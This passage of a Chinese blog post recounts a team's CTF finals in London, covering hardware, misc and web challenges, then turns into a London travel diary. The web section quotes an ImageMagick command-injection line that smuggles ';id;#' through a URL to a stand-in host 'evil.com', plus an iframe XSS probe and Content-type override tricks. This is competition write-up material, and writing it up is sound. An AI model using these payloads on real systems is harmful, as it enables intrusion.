<p>解鎖的方式就是把撞針頂到對的位置，然後用另一根工具(不知道叫啥名字)去轉它就能開了</p>
<p>第二個鎖是不透明的鎖，就要自己慢慢一個一個踹到對的點</p>
<p>@sasdf 踹了一波就秒開掉這個鎖了，真不愧是密碼學大佬</p>
<p>第三個鎖是一個類似保險箱的東西，要用一隻能伸縮，且外型像筆的工具去開他的鎖</p>
<p>FLAG則是放在這個保險箱中，打開鎖就能拿到flag</p>
<p>我簡單踹了一波，發現其實還蠻容易抓到感覺的</p>
<p>只要戳到對的點，轉動的手感會不太一樣，慢慢微調就能打開了XD</p>
<p><img src="https://i.imgur.com/sBgYpdv.jpg" alt=""></p>
<p><img src="https://i.imgur.com/i54USyB.jpg" alt=""></p>
<p><img src="https://i.imgur.com/5EwtUrG.jpg" alt=""></p>
<p>蠻有趣的題目，對沒開過鎖的我來說是個不錯的體驗</p>
<p>很像那種會在Security Conference上看到的開鎖教學攤位XD</p>
<p><br></p>
<p>硬體題有一題類似密室逃脫，是一題拆炸彈題</p>
<p>可以選一位隊員去炸彈房，其他隊員在另一間房，彼此可以用無線電溝通，想辦法拆炸彈</p>
<p>在進去之前，我們還不知道是要拆炸彈，不過主辦方有給個小提示:</p>
<p><img src="https://i.imgur.com/Z7qSRSc.png" alt=""></p>
<p>所以我們一開始只知道是跟七段顯示器有關的電路題XD</p>
<p><br></p>
<p>炸彈會倒數計時，時間到就會爆炸</p>
<p>然後上面有十個撥動開關，和兩條線，以及會影響計時快慢的電容</p>
<p>所以解法其實蠻直觀的，就是把開關撥成正確的密碼，最後剪正確的線就能停止炸彈爆炸</p>
<p>第一天和第二天分別能進去一次，所以必須想辦法在兩天內拆掉炸彈，不然就拿不到flag了 </p>
<p>(但主辦方中間有出包，炸彈一開就爆炸，所以我們總共進了三次)</p>
<p>炸彈房裡聽說很黑，然後會有一個穿軍裝的人站在旁邊盯著你，讓你感覺壓力很大XD</p>
<p>然後炸彈房不能帶東西進去，你必須想辦法透過無線電告訴另一間房的隊友，或是超越常人的記憶力把炸彈電路記下來</p>
<p><br></p>
<p>基本策略應該就是第一天盡可能把電路整體配置 Out of band 帶出來，第二天再速解電路然後剪線</p>
<p>如果進去炸彈房的那個人連電路都看不懂，那基本上就不用玩了XD</p>
<p>不過最大的難點是，很難透過無線電對話把各個邏輯閘、IC元件線路等資訊帶出來</p>
<p>所以主辦方還貼心(?)附了一張NATO phonetic alphabet:</p>
<p><img src="https://i.imgur.com/Eh1tvDD.jpg" alt=""></p>
<p>但這題最後只有 <code>!SpamAndHex</code> 解掉，根本拆彈專家XD</p>
<p>其實我們有想到一種能讓電路短路，然後停止時間的方法，但被主辦方禁止使用XD</p>
<p><br></p>
<p>Misc 另外有一題 Stuffed，內容是一個網頁</p>
<p>會用 Brotli 編碼去壓縮一堆垃圾，這堆垃圾中間夾了 flag</p>
<p>所以直接訪問這個網頁，瀏覽器就會把內容解壓縮並顯示出來</p>
<p>但這題難點在於，這坨垃圾非常大，解壓縮非常吃時間和記憶體，有點類似gzip bomb</p>
<p>而 google 很好心的提供我們免費的gcp帳號，可以任意的開機器</p>
<p>所以我們就開了 160 Core + 3.7 TB Memory 的土豪級機器來炸這題:</p>
<p><img src="https://i.imgur.com/jTnupY1.png" alt=""></p>
<p>(它的 Memory 比我電腦硬碟還大…)</p>
<p>結果雖然克服了記憶體問題，但時間上還是太慢，一個一個慢慢解，解不完</p>
<p>由於算法的關係，這題也沒辦法像之前某場比賽一樣直接把重複的 Pattern 拔掉</p>
<p>最後我在睡夢中時，隊友用這個: <a href="https://github.com/pothos/brotlipython" target="_blank" rel="external">https://github.com/pothos/brotlipython</a> 工具撈出 flag</p>
<p>該網頁格式長這樣:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div></pre></td><td class="code"><pre><div class="line">&lt;html&gt;</div><div class="line">&lt;head&gt;</div><div class="line">&lt;title&gt;Flag page&lt;/title&gt;</div><div class="line">&lt;/head&gt;</div><div class="line"></div><div class="line">&lt;body&gt;</div><div class="line"></div><div class="line">Flag:</div><div class="line"></div><div class="line">&lt;!-- aaaaa .... --&gt;</div><div class="line"></div><div class="line">CTF&#123;DontEatThePl4yerEatTheBrotli&#125;</div><div class="line"></div><div class="line">&lt;!-- aaaaa .... --&gt;</div><div class="line"></div><div class="line">&lt;/body&gt;</div><div class="line">&lt;/html&gt;</div></pre></td></tr></table></figure>
<p><br></p>
<p>其他領域的題目，有的題類似 Pwn2Own，要把 exploit 塞進隨身碟，然後主辦方會在台上 demo 給大家看，打成功就送你flag</p>
<p>不過這邊主辦有點小雷，他賽中沒有限制嘗試次數和間隔時間，但我們在解的時候，臨時說一個小時只能踹一次</p>
<p>然後 Pwn 有一題 Gomium Browser</p>
<p>我們本地成功彈計算機，但上台 exploit 兩次都失敗</p>
<p>剛好就是比賽最後兩個小時，所以就很可惜的沒解掉</p>
<p>(聽說主辦方在我們失敗之後，關掉螢幕再跑第二次就成功，似乎我們的 Exploit 沒有到非常穩定，所以運氣很差的剛好都失敗)</p>
<p><br></p>
<p>Web 的部分，這場共三題 Web，難度應該算是我打過的決賽最高的</p>
<p>第一天前半場只出了一題 <code>gPhotos2</code></p>
<p>這題跟初賽的 <code>gPhotos</code> 功能幾乎一樣，你可以傳一張 png, jpg, jpeg 圖片 (會用 imghdr.what 去判)，之後會去 resize 轉成縮圖</p>
<p>(這裡圖片判斷很好繞，只要從第七個字元開始塞<code>JFIF</code>就能繞掉了)</p>
<p>只是初賽是用 PHP 套 ImageMagick，這題則是 Python django 套 Wand image library</p>
<p>初賽那題的解法可以參考 Bushwhackers 的 Writeup: <a href="https://blog.bushwhackers.ru/googlectf-2019-gphotos-writeup/" target="_blank" rel="external">https://blog.bushwhackers.ru/googlectf-2019-gphotos-writeup/</a></p>
<p>基本上就是利用 MSL 搭配各種小技巧去 RCE</p>
<p>但 Python 這題就很難了，因為你沒辦法像php去寫 Webshell</p>
<p><br></p>
<p>所以一開始我們的方向就變成是找 polyglot 的 payload </p>
<p>去想辦法寫檔蓋掉 import 的 python (搭配 DoS 的洞讓他 Reload library)</p>
<p>到最後發現，的確成功能用 MSL 去任意寫檔</p>
<p>也成功 Polyglot 造出合法 Python</p>
<p>但寫了後不管怎麼 DoS 它，都沒有成功載入我們的 Python payload</p>
<p>賽後問了出題人才知道，原來根本沒有資料夾寫入權限… </p>
<p>其實也不太意外，方向偏太多了</p>
<p><br></p>
<p>第二天比賽到一半時，這題主辦方有給了一個 Hint: docker image is based on standard debian</p>
<p>看起來是跟作業系統環境有點關係的利用方式</p>
<p>到比賽結束，共有兩隊解出來這題，分別是 <code>RedGKFRocket</code> 和 <code>Pasten</code></p>
<p>公布解答才知道，原來這題根本是 0day 題</p>
<p>預期解是類似 ImageTragick 要打 <code>.show</code> extension 的 Command Injection</p>
<p>可以在本地踹: <code>$ convert &quot;http://evil.com/some.png?z=&#39;;id;#&#39;&amp;x=123&quot; out.show</code></p>
<p>不過有隊找到非預期解，是用 ghostscript 去 RCE 的樣子，但也是 0day … ╮(╯_╰)╭</p>
<p><br></p>
<p>第二題 Web 是 Saber.ninja</p>
<p>這題還蠻有趣的，是一個音樂遊戲譜面上傳、預覽的網站</p>
<p>一開始會給你一個 Example.bsl，其實就是個 zip 包</p>
<p>裡面包了 <code>Info.dat</code>, <code>Expert.dat</code>,<code>song.ogg</code> 等檔案，紀錄譜面出現時間、歌曲名字、作者名字等資訊</p>
<p>然後網站可以讓你上傳你自己的 bsl，他會檢查裡面的格式是否符合要求 (這裡要自己黑箱踹)</p>
<p>若上傳都沒問題，則可以預覽譜面和顯示歌曲名字、作者名字等資訊，還有連結可以直接下載這個 bundle 包跟 beatmap</p>
<p>另外網站還有一個聊天室可以和你的對手 (admin之類的) 對話</p>
<p>他要求你只能塞 <code>https://saber-ninja.web.ctfcompetition.com/preview/*</code> 的網址，所以很明顯是個 XSS 題</p>
<p>而我們也很快找到 <code>Info.dat</code> 裡的作者、歌曲等資訊都能塞 HTML Tag</p>
<p>但這題有討人厭的 CSP: <code>content-security-policy: default-src &#39;self&#39;; frame-src *;</code></p>
<p>所以基本上這題八成要用到 <code>iframe</code> 來 XSS</p>
<p><br></p>
<p>OK，我們想說先看一下對面的瀏覽器版本</p>
<p>所以就塞 <code>&lt;iframe src=&quot;\\kaibro.tw&quot;&gt;</code> 之類的 Payload 來讓對面 Bot 送 Request</p>
<p>但傳了老半天都沒半個 Request 回來，一度懷疑 Bot 已經爛掉了</p>
<p>一問出題人，才知道原來送了連結過去，還要先去外面的遊戲房玩過你剛剛送的譜面</p>
<p>過關之後，Bot 才會讀你的連結… WTF</p>
<p><br></p>
<p>其實玩遊戲這件事蠻有梗的，但是題目完全沒提到有遊戲室這個規則，整個很黑人問號</p>
<p>如果我們沒問出題人，全場根本不會有人知道要先玩遊戲才能觸發 BOT 訪問= =</p>
<p>後面還出了一些小問題</p>
<p>例如 BOT 不知為啥只能透過常用 Port 對外連線</p>
<p>應該是 Google 那邊出題環境沒弄好，有點小雷</p>
<p><br></p>
<p>而遊戲部份，是一個 VR 光劍的音樂節奏遊戲 (BeatSaber)</p>
<p>要戴上VR眼鏡，手拿光劍在那邊砍紅色跟藍色的 Notes，中間還會有牆壁之類的障礙物，所以人要跟著左右閃躲XD</p>
<p>由於我們已經能夠控制譜面資訊，但是它規定每首歌都至少要有100個 notes</p>
<p>所以我就把譜面最開頭塞了 100 個相同的 notes 疊再一起，只要揮一次劍就能 Full combo XDDD</p>
<p>玩完遊戲，主辦方就會 enable 題目 bot 對我們送過去連結訪問的權限</p>
<p>從回來的 Request 可以看到，對方環境是 <code>Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3882.0 Safari/537.36</code></p>
<p><br></p>
<p>另外我也不小心從主辦方的電腦瞄到幾個關鍵字: <code>UXSS Bot</code>, <code>NaCl</code></p>
<p>所以猜測這題可能是某種神奇的 Chrome 0/1 Day UXSS</p>
<p>搜尋了一波沒找到類似的洞，就果斷跳題了XD</p>
<p>中間我們有嘗試透過 Polyglot zip+js 來去做 XSS，但在成功造出 Payload 且本地測試成功時</p>
<p>發現對面環境有設 Content-type nosniff，所以遠端失敗XD</p>
<p>最後這題到結束，0 隊解，不意外XD</p>
<p>解法在這: <a href="https://shhnjk.blogspot.com/2019/07/intro-to-chromes-gold-features.html" target="_blank" rel="external">https://shhnjk.blogspot.com/2019/07/intro-to-chromes-gold-features.html</a></p>
<p><br></p>
<p>Web 第三題是 Genie’s wishlist，這題是一個可以跟精靈許三個願望的網頁</p>
<p>題目給了部分 <a href="https://gist.github.com/w181496/5a8b3398ae380419999e429bee64171f" target="_blank" rel="external">Source code</a>，是一個類似 Proxy 的架構，然後是 Flask 寫的</p>
<p>基本上是從 <a href="https://github.com/dtkav/flask-batch/blob/master/flask_batch/flask_batch.py" target="_blank" rel="external">https://github.com/dtkav/flask-batch/blob/master/flask_batch/flask_batch.py</a> 這裡改來的</p>
<p>你可以輸入三個字串送過去，他會包成 <code>multipart/mixed</code> 的格式送出去給後端，但後端其實就是同一台 Server</p>
<p>然後網頁還有一個功能，可以塞一個 url 給它，它會用 Headless 訪問這個 URL:</p>
<p><code>Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3945.0 Safari/537.36</code></p>
<p>所以猜測這題有可能也是 XSS 或前端類的題目</p>
<p>認真看 Code 會發現不少小問題，但都很難串在一起</p>
<p>例如:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line">&gt;&gt;&gt; ct = &quot;multipart/mixed;boundary=batch_abcdefg;boundary=batch_123456&quot;</div><div class="line">&gt;&gt;&gt; m = _rex.fullmatch(ct)</div><div class="line">&gt;&gt;&gt; m.groups()</div><div class="line">(None, None, &apos;batch_123456&apos;)</div></pre></td></tr></table></figure>
<p>塞兩個 Boundary，它會取第二個</p>
<p>賽中一直在踹能不能想辦法造成 Proxy 跟後端解析不一致，然後達到類似 Desync 之類的污染效果，但最後失敗惹QQ</p>
<p>另外還有像是:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">/batch?ct=multipart/mixed;aaa=bbb;boundary=batch_w3ier5whgj</div></pre></td></tr></table></figure>
<p>這樣塞，會導致最後後端回來的 Response Content-type Header 變成部分可控的，<code>aaa=bbb</code>會原封不動的回來</p>
<p>所以可以類似這樣玩: <code>batch?ct=multipart/mixed;charset=utf-16;boundary=batch_w3ier5whgj</code>，會把charset搞掉</p>
<p>不過還是沒辦法把 Content-type 弄成 <code>text/html</code>之類的</p>
<p>而 Client-ID 的部分是會回顯的，所以只要我們能想辦法把 Content-type 蓋掉就能 XSS</p>
<p>Source Code 中，用來 Parse Content-type 的正規表達式寫得很刻意，一眼就知道有洞，但還是找不出來問題:</p>
<p><code>content_type_regexes = &#39;multipart/[a-z]+(?:-[a-z]+)*(?:[;,\\s]\\s*[a-z]+(?:-[a-z]+)*=(?:&quot;(?:[^&quot;]|\\&quot;)+&quot;|\&#39;(?:[^\&#39;]|\\\&#39;)+\&#39;|[^&quot;\&#39;:;,\\s]+))*[;,\\s]*boundary=(?:&quot;([^&quot;]+)&quot;|\&#39;([^\&#39;]+)\&#39;|([^&quot;\&#39;:;,\\s]+))(?:[;,\\s]\\s*[a-z]+(?:-[a-z]+)*=(?:&quot;(?:[^&quot;]|\\&quot;)+&quot;|\&#39;(?:[^\&#39;]|\\\&#39;)+\&#39;|[^&quot;\&#39;:;,\\s]+))*[;,]?&#39;</code></p>
<p>賽中我手動看著 RFC 踹了幾個特殊字元，試著玩弄回顯的 Content-type，但都沒成功蓋掉 Content-type</p>
<p>比賽結束後，出題人才說這題可以用 <code>Content-type: foo,bar</code> 會取成 <code>bar</code> 的特性來蓋</p>
<p>結果原來我們離正解只差了一點，繼續多踹，運氣好蓋掉Content-type就贏了，算是這場最遺憾的一題 Web XD</p>
<p>p.s. 這題最後只有 <code>!SpamAndHex</code> 解掉</p>
<p><br></p>
<p>整體來說，這場題目質量挺高的</p>
<p>也蠻多有趣的題目</p>
<p>食物飲料也各種爽拿爽吃</p>
<p>但還是有一些小地方待改進</p>
<p>例如很多題目環境都講得不清不楚，還有前面提的賽中臨時公告特殊規則等</p>
<p>希望未來可以改善這些小缺點!</p>
<p><br></p>
<h2 id="u884C_u7A0B"><a href="#u884C_u7A0B" class="headerlink" title="行程"></a>行程</h2><p>這次比賽日期主要在 11/2, 11/3 兩天</p>
<p>不過我們 10/30 就到倫敦了，提早跑一些行程</p>
<p>Google 還因此多送我們一晚住宿，聽說一晚價錢要8000台幣，真。佛心公司!</p>
<p>10/31, 11/1, 11/4 這幾天主要就是跑跑倫敦，晃晃一些經典景點之類的地方，然後回去的飛機是 11/4 晚上</p>
<p>10/31 報名一日旅遊團，跑了溫莎古堡、巨石陣、羅馬浴場等地方</p>
<p>11/1 則是晃了一些倫敦市區經典景點，包含倫敦塔橋、西敏寺、白金漢宮、倫敦眼等</p>
<p>11/4 則是跑了肯頓市集和大英博物館等地方之後，就搭飛機回台灣</p>
<p><br></p>
<h2 id="u4EA4_u901A"><a href="#u4EA4_u901A" class="headerlink" title="交通"></a>交通</h2><p><img src="https://i.imgur.com/bKGbDtp.jpg" alt=""></p>
<p>交通方面，倫敦基本上觀光客會去的地方都有地鐵能到</p>
<p>我們大概只有機場到倫敦這一段是搭火車，其他都是搭地鐵</p>
<p>所以只要買張牡蠣卡(Oyster card，類似悠遊卡)，就能通行無阻了</p>
<p><img src="https://i.imgur.com/6ioFgvH.jpg" alt=""></p>
<p>牡蠣卡有分兩種版本：一般版和遊客版</p>
<p>買的時候都是 35 英鎊，相當於卡片 5 英鎊，裡面帶有 30 英鎊餘額</p>
<p>一般版可以把卡片退還，會把押金退還之類的，遊客版則是相當於花5英鎊買那張卡做紀念，不用退還</p>
<p>但其實這個有 BUG，他跟台灣悠遊卡一樣可以刷到金額變負的</p>
<p>我們在最後一天搭車回機場時，最後餘額變-8，所以其實還倒賺3英鎊</p>
<p><br></p>
<h2 id="u4F4F_u5BBF"><a href="#u4F4F_u5BBF" class="headerlink" title="住宿"></a>住宿</h2><p><img src="https://i.imgur.com/MZxlyPE.jpg" alt=""></p>
<p>這次我們的住宿全程都由 Google 包辦，住了一家叫 Pullman 的飯店</p>
<p>地點位在國王十字車站走路3~5分鐘遠的地方，算是還蠻方便的</p>
<p>重點是每天早上在一樓都有很高級的早餐，裡面的食物屌打一堆英國昂貴餐廳的食物</p>
<p><img src="https://i.imgur.com/GV25iJy.jpg" alt=""></p>
<p><img src="https://i.imgur.com/cgVlZCo.jpg" alt=""></p>
<p><img src="https://i.imgur.com/rdvLQI0.jpg" alt=""></p>
<p>(飯店看出去的夜景)</p>
<p><img src="https://i.imgur.com/SjcsmB7.jpg" alt=""></p>
<p>(白天也蠻美的)</p>
<p>硬要說這間的缺點的話，大概就是房卡很容易出問題的感覺，例如：某天回去莫名被消磁鎖在門外</p>
<p><br></p>
<h2 id="u666F_u9EDE"><a href="#u666F_u9EDE" class="headerlink" title="景點"></a>景點</h2><h3 id="u5DE8_u77F3_u9663_+__u6EAB_u838E_u53E4_u5821_+__u7F85_u99AC_u6D74_u5834"><a href="#u5DE8_u77F3_u9663_+__u6EAB_u838E_u53E4_u5821_+__u7F85_u99AC_u6D74_u5834" class="headerlink" title="巨石陣 + 溫莎古堡 + 羅馬浴場"></a>巨石陣 + 溫莎古堡 + 羅馬浴場</h3><p>這趟行程，我們是透過klook訂一日導覽票卷</p>
<p>所以一早就去集合點坐遊覽車，然後他會帶我們跑這三個點+講解</p>
<p>有趣的是車上的導遊會同時講日文和英文，好像是車上有不少日本遊客的關係吧</p>
<p>第一站是到溫莎古堡，會在一個火車站旁邊下車，然後走上去就會看到一整區很大的城堡</p>
<p><img src="https://i.imgur.com/BS2DL8P.jpg" alt=""></p>
<p><img src="https://i.imgur.com/xTbkQF0.jpg" alt=""></p>
<p><img src="https://i.imgur.com/QCqLSmn.jpg" alt=""></p>
<p><img src="https://i.imgur.com/Dlc3Bnp.jpg" alt=""></p>
<p>不過也因為這種一日行程通常都很緊湊，很多城堡內的點都沒辦法走完，有點可惜</p>
<p>最令人印象深刻的地方是裡面有個教堂，擺放各種騎士的劍和各種旗幟之類的東西，很壯觀，但可惜裡頭不開放拍照</p>
<p><br></p>
<p>第二站就是整趟旅程的重頭戲：巨石陣</p>
<p>關於巨石陣的意義說法很多種，有人覺得是用來悼念亡靈用的，有人覺得跟觀測天文有關</p>
<p>由於巨石陣成因過於神秘，所以總覺得來英國不來看一下巨石陣好像有點可惜</p>
<p>但實際現場看完之後，又會覺得好像不該浪費時間大老遠跑來看幾塊大石頭XD</p>
<p>光是從倫敦搭車過去，單趟就要花2~3小時，蠻累的</p>
<p>真的是「不看會後悔，看了也會後悔」</p>
<p>而且還只能遠遠隔著圍欄看著這些大石頭，沒辦法走近觀賞</p>
<p><img src="https://i.imgur.com/bEvbEcK.jpg" alt=""></p>
<p><img src="https://i.imgur.com/EeqsG9k.jpg" alt=""></p>
<p><br></p>
<p>第三站是位於巴斯的羅馬浴場</p>
<p>據說建於2000年前古羅馬帝國時期，跟電影裡演的一樣，古羅馬貴族都很愛泡溫泉澡XD</p>
<p>而巴斯(Bath)這裡是英國唯一的天然溫泉區，所以古羅馬人就在這裡蓋了一座浴場，他們相信溫泉有治病的療效</p>
<p><img src="https://i.imgur.com/vwxvEnF.jpg" alt=""></p>
<p><img src="https://i.imgur.com/hp2x1nX.jpg" alt=""></p>
<p>(二樓雕像是大家歷史課讀過的那幾位著名古羅馬皇帝)</p>
<p><img src="https://i.imgur.com/HLJlLoJ.jpg" alt=""></p>
<p>聽說這種一層一層的是桑拿房，似乎可以幫忙傳導溫泉熱，愈多磚頭愈熱</p>
<p>溫泉旁邊還會請人穿著古羅馬裝，扮演當時來泡澡的人們:</p>
<p><img src="https://i.imgur.com/pQ9FWMp.jpg" alt=""></p>
<p>另外浴場裡還有地方提供遊客品嚐「溫泉水」</p>
<p><img src="https://i.imgur.com/Fv1q9Ez.jpg" alt=""></p>
<p>喝完之後，我立馬覺得自己為啥會蠢到想把溫泉水拿來喝，爆幹噁心又難喝</p>
<p><br></p>
<p>羅馬浴場旁邊就是著名的巴斯修道院，外觀哥德式風格，讓人經過很難不多看幾眼</p>
<p><img src="https://i.imgur.com/ee6F45B.jpg" alt=""></p>
<p><img src="https://i.imgur.com/emd3N3U.jpg" alt=""></p>
<p>旁邊會有一些街頭藝人在表演：</p>
<p><img src="https://i.imgur.com/tIa1Zez.jpg" alt=""></p>
<p><br></p>
<h3 id="u502B_u6566_u5854__26amp_3B__u502B_u6566_u5854_u6A4B"><a href="#u502B_u6566_u5854__26amp_3B__u502B_u6566_u5854_u6A4B" class="headerlink" title="倫敦塔 &amp; 倫敦塔橋"></a>倫敦塔 &amp; 倫敦塔橋</h3><p>這兩個點也算是來倫敦必去的景點</p>
<p>倫敦塔其實不是一座塔，嚴格來說比較像城堡</p>
<p>然後倫敦塔橋就是倫敦塔旁邊橫跨泰晤士河的一座橋，所以這兩個點可以同時去</p>
<p>旁邊不遠處還有座「倫敦橋 (London Bridge)」，兩個是不同的橋，名字很容易混淆XD</p>
<p>不過由於倫敦塔門票似乎有點貴，所以我們沒有進去，只有遠遠觀賞它</p>
<p><img src="https://i.imgur.com/5XAKzNO.jpg" alt=""></p>
<p>旁邊還看到類似投石機的東西:</p>
<p><img src="https://i.imgur.com/lHQTIu6.jpg" alt=""></p>
<p>害我腦中一直響起世紀帝國等登等登的聲音</p>
<p><img src="https://i.imgur.com/zsjERqP.jpg" alt=""></p>
<p><img src="https://i.imgur.com/mHvSzFs.jpg" alt=""></p>
<p>倫敦塔橋就在倫敦塔隔壁，一樣可以進去裡面參觀</p>
<p>好像上面有步道可以走，但一樣門票太貴，我們沒上去</p>
<p><img src="https://i.imgur.com/Ozt4qYY.jpg" alt=""></p>
<p><br></p>
<h3 id="u767D_u91D1_u6F22_u5BAE__26amp_3B__u897F_u654F_u5BFA__26amp_3B__u502B_u6566_u773C"><a href="#u767D_u91D1_u6F22_u5BAE__26amp_3B__u897F_u654F_u5BFA__26amp_3B__u502B_u6566_u773C" class="headerlink" title="白金漢宮 &amp; 西敏寺 &amp; 倫敦眼"></a>白金漢宮 &amp; 西敏寺 &amp; 倫敦眼</h3><p>這三個點都在同一區，都是走路可以到的距離</p>
<p>其實大笨鐘也在這區，一出地鐵就會看到，不過因為還在維修，所以旁邊滿滿的都是鷹架QQ</p>
<p><img src="https://i.imgur.com/2NExuQA.jpg" alt=""></p>
<p>而白金漢宮其實蠻無聊的，大家來這裡應該主要都是看麥克風頭的禁衛軍交接</p>
<p>不過我們在溫莎城堡已經看過一次交接了XD</p>
<p><img src="https://i.imgur.com/VrX5CZj.jpg" alt=""></p>
<p>另外白金漢宮旁邊的 Green Park 蠻美的，橘紅色的落葉很有秋天的歐洲味</p>
<p><img src="https://i.imgur.com/JRgFCb9.jpg" alt=""></p>
<p>相對於白金漢宮，西敏寺的哥德式風格倒是比較合我胃口，但一樣人太多，而且門票太貴，所以就沒進去了</p>
<p><img src="https://i.imgur.com/JR8I6Kf.jpg" alt=""></p>
<p><img src="https://i.imgur.com/24cVNRw.jpg" alt=""></p>
<p><br></p>
<p>至於倫敦眼，其實就是一個普通的(?)摩天輪</p>
<p>拍照時，天氣剛好要下雨不下雨的，所以拍出來陰陰的，沒啥美感</p>
<p><img src="https://i.imgur.com/GnQmz3T.jpg" alt=""></p>
<p><img src="https://i.imgur.com/X4JHxEW.jpg" alt=""></p>
<p>(這裡的海鷗會飛來飛去幹走路人手上的食物)</p>
<p><br></p>
<h3 id="u8C9D_u514B_u8857"><a href="#u8C9D_u514B_u8857" class="headerlink" title="貝克街"></a>貝克街</h3><p>雖然我不是福爾摩斯粉，但還是來朝聖一下著名的貝克街</p>
<p>一出 Backer Street 地鐵站，旁邊就有一尊福爾摩斯雕像:</p>
<p><img src="https://i.imgur.com/DfImgxJ.jpg" alt=""></p>
<p>圖中這條樸實無華的街道就是大名鼎鼎的貝克街:</p>
<p><img src="https://i.imgur.com/HSmWLs5.jpg" alt=""></p>
<p>圖中左邊是福爾摩斯住的地方，右邊是博物館，其實就是紀念品店</p>
<p><img src="https://i.imgur.com/fe43Qde.jpg" alt=""></p>
<p>不過一樣，進去要排超長，又要收門票費，所以就沒進去了</p>
<p>英國真的是到哪都要收費，連上廁所也要收錢</p>
<p>不過紀念品店倒是蠻多特別的玩具，手癢買了一個音樂盒、火柴盒和打火機:</p>
<p><img src="https://i.imgur.com/GdgprNP.jpg" alt=""></p>
<p><br></p>
<h3 id="u4E5D_u53C8_u56DB_u5206_u4E4B_u4E09_u6708_u53F0"><a href="#u4E5D_u53C8_u56DB_u5206_u4E4B_u4E09_u6708_u53F0" class="headerlink" title="九又四分之三月台"></a>九又四分之三月台</h3><p>著名的九又四分之三月台場景，就在我們住的飯店隔壁的國王十字車站裡</p>
<p>排隊拍照的人長的很誇張，旁邊工作人員也很專業，會指導你該怎麼擺姿勢</p>
<p>但一樣，我們只有在旁邊看而已，沒去排XD</p>
<p><img src="https://i.imgur.com/pzWbTIa.jpg" alt=""></p>
<p><img src="https://i.imgur.com/0Mhw2Nc.jpg" alt=""></p>
<p><br></p>
<h3 id="u80AF_u9813_u5E02_u96C6"><a href="#u80AF_u9813_u5E02_u96C6" class="headerlink" title="肯頓市集"></a>肯頓市集</h3><p><img src="https://i.imgur.com/nSrpMqx.jpg" alt=""></p>
<p>就是一個很有歐洲味的市集</p>
<p><img src="https://i.imgur.com/uiQKwW1.jpg" alt=""></p>
<p><img src="https://i.imgur.com/sH6vAZv.jpg" alt=""></p>
<p><img src="https://i.imgur.com/kOBuvw9.jpg" alt=""></p>
<p>然後有很多文青類的商店，例如有賣黑膠、賣古董的店</p>
<p><img src="https://i.imgur.com/x0wtGhg.jpg" alt=""></p>
<p><img src="https://i.imgur.com/WssowKK.jpg" alt=""></p>
<p>我也手癢買了一張甲殼蟲樂隊的黑膠唱片裝逼一下</p>
<p>但其實這個市集蠻大的，我們最後也沒逛完，吃個東西就離開去大英博物館惹</p>
<p><br></p>
<h3 id="u5927_u82F1_u535A_u7269_u9928"><a href="#u5927_u82F1_u535A_u7269_u9928" class="headerlink" title="大英博物館"></a>大英博物館</h3><p><img src="https://i.imgur.com/r9LF3OE.jpg" alt=""></p>
<p>最後一天的整個下午，基本上都只排大英博物館</p>
<p>因為真的太大了，一天實在逛不完</p>
<p>順便來見識一下大英帝國時期，英國人到底從各國幹回來多少贓物</p>
<p><br></p>
<p>一進博物館，就會看到很美的玻璃天花板</p>
<p><img src="https://i.imgur.com/Cbmuqp7.jpg" alt=""></p>
<p>然後往左走，就是最有看頭的埃及展區</p>
<p>一進門就會看到鎮館之寶，傳說中的羅塞塔石碑</p>
<p><img src="https://i.imgur.com/f7jZ2jr.jpg" alt=""></p>
<p>記載著埃及象形文、埃及草書和古希臘文的羅塞塔石碑</p>
<p>對於解讀古埃及歷史和古埃及象形文都是重要的里程碑</p>
<p><br></p>
<p>而隔壁就是著名法老拉姆西斯二世的雕像</p>
<p><img src="https://i.imgur.com/wyP18o2.jpg" alt=""></p>
<p>據說肩膀的孔洞，是拿破崙時期的法國人為了盜走所穿的孔</p>
<p>展區內還有各種壁畫、石棺、雕像</p>
<p><img src="https://i.imgur.com/wOVmBaP.jpg" alt=""></p>
<p><img src="https://i.imgur.com/nWO126D.jpg" alt=""></p>
<p><img src="https://i.imgur.com/fQ99DA3.jpg" alt=""></p>
<p><img src="https://i.imgur.com/Cylbd9Z.jpg" alt=""></p>
<p>還有古埃及人視為聖甲蟲的糞金龜:</p>
<p><img src="https://i.imgur.com/GIeFgPe.jpg" alt=""></p>
<p><br></p>
<p>其他展區也有一些特別的東西</p>
<p>像下面這個就超狂，英國人跑去把別人家的門幹下來帶回英國</p>
<p><img src="https://i.imgur.com/TEHHgxd.jpg" alt=""></p>
<p>還有亞述展區很詭異的人面獸身拉瑪蘇</p>
<p><img src="https://i.imgur.com/CimZ6XJ.jpg" alt=""></p>
<p><img src="https://i.imgur.com/TXScNoj.jpg" alt=""></p>
<p><img src="https://i.imgur.com/4vVIiWq.jpg" alt=""></p>
<p><img src="https://i.imgur.com/1BKs0cf.jpg" alt=""></p>
<p><img src="https://i.imgur.com/2UirN58.jpg" alt=""></p>
<p><br></p>
<p>也是大英博物館必看的摩艾石像:</p>
<p><img src="https://i.imgur.com/eUaD37t.jpg" alt=""></p>
<p><img src="https://i.imgur.com/bLUMRHY.jpg" alt=""></p>
<p><br></p>
<p>後面是另一個必看重頭戲，埃及木乃伊</p>
<p>說真的現場看還蠻驚悚的XD</p>
<p><img src="https://i.imgur.com/8eGOrHN.jpg" alt=""></p>
<p><img src="https://i.imgur.com/2Y4kmfW.jpg" alt=""></p>
<p>他們都會在包裹的繃帶和布上面畫上臉</p>
<p><img src="https://i.imgur.com/J9bSjEV.jpg" alt=""></p>
<p>其實還有解開繃帶的樣子，不過由於微噁爛，就不貼惹XD</p>
<p><br></p>
<p>其他還有像是帕德嫩神殿的雕刻，也是很壯觀</p>
<p><img src="https://i.imgur.com/CZGBoU8.jpg" alt=""></p>
